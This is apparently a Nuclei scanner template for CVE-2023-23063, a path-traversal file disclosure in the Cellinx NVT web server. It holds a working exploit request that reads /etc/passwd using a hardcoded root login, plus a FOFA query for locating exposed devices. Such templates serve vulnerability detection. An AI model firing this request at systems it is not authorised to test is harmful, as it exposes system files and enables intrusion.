CVE-2023-23063: Cellinx NVT Web Server - Local File Disclosure

id: CVE-2023-23063

info:
  name: Cellinx NVT Web Server - Local File Disclosure
  author: daffainfo
  severity: high
  description: |
    Cellinx NVT v1.0.6.002b was discovered to contain a local file disclosure vulnerability via the component /cgi-bin/GetFileContent.cgi.
  reference:
    - https://github.com/ahmedalroky/Disclosures/tree/cellinx
    - http://nvd.nist.gov/vuln/detail/CVE-2023-23063
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-23063
    cwe-id: CWE-22
    epss-score: 0.62021
    epss-percentile: 0.98253
    cpe: cpe:2.3:a:cellinx:nvt_web_server:1.0.6.002b:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cellinx
    product: nvt_web_server
    fofa-query: body="/viewer/viewer.html" && header="lighttpd" && country="KR"
  tags: cve,cve2023,cellinx,lfi,nvt,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/GetFileContent.cgi?USER=root&PWD=D1D1D1D1D1D1D1D1D1D1D1D1A2A2B0A1D1D1D1D1D1D1D1D1D1D1D1D1D1D1B8D1&PATH=/etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "regex('root:.*:0:0:', body)"
          - "contains(header, 'TRACKID=')"
        condition: and
# digest: 4a0a00473045022100c20c1d30f6b216ad4aba07e69923b7767adea3433d037f54b4471e9b8e99513e022019359eff0bc3186718a4f206e3b69954d7e2450ac695f07030e6a2b4081bf238:922c64590222798bb761d5b6d8e72950